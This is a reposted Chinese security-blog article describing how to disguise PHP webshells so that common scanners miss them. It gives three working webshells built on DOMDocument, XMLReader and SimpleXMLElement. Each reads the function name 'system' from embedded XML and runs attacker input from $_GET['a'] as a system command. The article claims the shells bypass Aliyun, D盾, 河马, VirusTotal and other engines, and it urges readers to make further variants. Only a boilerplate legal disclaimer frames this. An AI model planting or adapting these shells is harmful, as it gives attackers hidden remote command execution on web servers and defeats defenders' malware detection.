【转载】使用XML变形webshell免杀思路

admin 2026-04-07 01:08:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍利用PHP中XML处理类(如DOMDocument、XMLReader、SimpleXMLElement)动态执行函数实现webshell免杀的技术思路,通过构造XML数据替换关键函数并调用系统命令,实测可绕过阿里云、D盾、河马等主流检测工具。作者建议拓展其他XML解析类进行变形,强调免杀核心在于灵活运用语言特性而非固定模式。 综合评分: 75 文章分类: 免杀,WEB安全,渗透测试,红队,安全开发


cover_image

【转载】使用XML变形webshell免杀思路

隐雾安全

2026年4月4日 10:02 四川

好文推荐

文章作者:先知社区(用户9528)

文章来源:https://xz.aliyun.com/news/17490

思路

整体思路就是利用php中处理xml格式的类,对函数进行替换,同时利用php的动态执行的特点 xml格式很常见,php中也有很多处理xml格式转换的类,以DOMDocument为例,ai构造一下php文件:

<?php// 创建 DOMDocument 对象$dom&nbsp;=&nbsp;new&nbsp;DOMDocument();// 加载 XML 文档$dom->loadXML('<?xml version="1.0" encoding="UTF-8"?><data>&nbsp; &nbsp; <item>&nbsp; &nbsp; &nbsp; &nbsp; <key>system</key>&nbsp; &nbsp; </item>&nbsp; &nbsp; <item>&nbsp; &nbsp; &nbsp; &nbsp; <key>age</key>&nbsp; &nbsp; &nbsp; &nbsp; <value>30</value>&nbsp; &nbsp; </item></data>');// 创建 DOMXPath 对象$xpath&nbsp;=&nbsp;new&nbsp;DOMXPath($dom);// 执行 XPath 查询,选择所有 item 节点$items&nbsp;=&nbsp;$xpath->query('//item');// 初始化一个空数组来存储键值对$keyValuePairs&nbsp;= [];// 遍历每个 item 节点foreach&nbsp;($items&nbsp;as&nbsp;$item) {&nbsp; &nbsp;&nbsp;// 获取 key 节点的文本内容&nbsp; &nbsp;&nbsp;$key&nbsp;=&nbsp;$xpath->query('key',&nbsp;$item)->item(0)->textContent;&nbsp; &nbsp;&nbsp;// 获取 value 节点的文本内容&nbsp; &nbsp;&nbsp;// $value = $xpath->query('value', $item)->item(0)->textContent;&nbsp; &nbsp;&nbsp;// 将键值对添加到数组中&nbsp; &nbsp; ($key)($_GET['a']);}?>

在php8.2.9 php7.3.4测试环境下均执行:

检测 常用的webshell查杀工具:

阿里云检测引擎:

D盾:

河马:

virustotal:

360:

微步:

长亭:

其他 利用上述思路,使用php中其他处理xml格式转换的类构造: XMLReader:

<?php
// 示例 XML 字符串
$xmlString&nbsp;=&nbsp;'
<root>
&nbsp; &nbsp; <item>
&nbsp; &nbsp; &nbsp; &nbsp; <key1>system</key1>
&nbsp; &nbsp; </item>
</root>
';
// 创建 XMLReader 实例
$reader&nbsp;=&nbsp;new&nbsp;XMLReader();
// 打开 XML 字符串进行解析
$reader->xml($xmlString);
// 存储键值对的数组
$keyValuePairs&nbsp;= [];
// 开始解析 XML
while&nbsp;($reader->read()) {
&nbsp; &nbsp;&nbsp;// 检查当前节点是否为元素节点
&nbsp; &nbsp;&nbsp;if&nbsp;($reader->nodeType ===&nbsp;XMLReader::ELEMENT) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取当前元素的名称
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$key&nbsp;=&nbsp;$reader->name;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 读取下一个节点
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($reader->read()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检查下一个节点是否为文本节点
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($reader->nodeType ===&nbsp;XMLReader::TEXT) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取文本节点的值
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ($reader->value)($_GET["a"]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}
// 关闭 XMLReader
$reader->close();
?>

SimpleXMLElement:

<?php
// 定义XML字符串
$xmlString&nbsp;=&nbsp;'<?xml version="1.0" encoding="UTF-8"?>
<root>
&nbsp; &nbsp; <system>a</system>
</root>';
// 使用SimpleXMLElement解析XML字符串
$xml&nbsp;=&nbsp;new&nbsp;SimpleXMLElement($xmlString);
// 遍历XML元素
foreach&nbsp;($xml&nbsp;as&nbsp;$key&nbsp;=>&nbsp;$value) {
&nbsp; &nbsp; ($key)($_GET["a"]);
}
?>

这两个均通过上面提到的引擎检测

总结

webshell免杀有很多技巧,上面也只是抛砖引玉吧,思路还是最重要。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:隐雾安全 《【转载】使用XML变形webshell免杀思路》

评论:0   参与:  0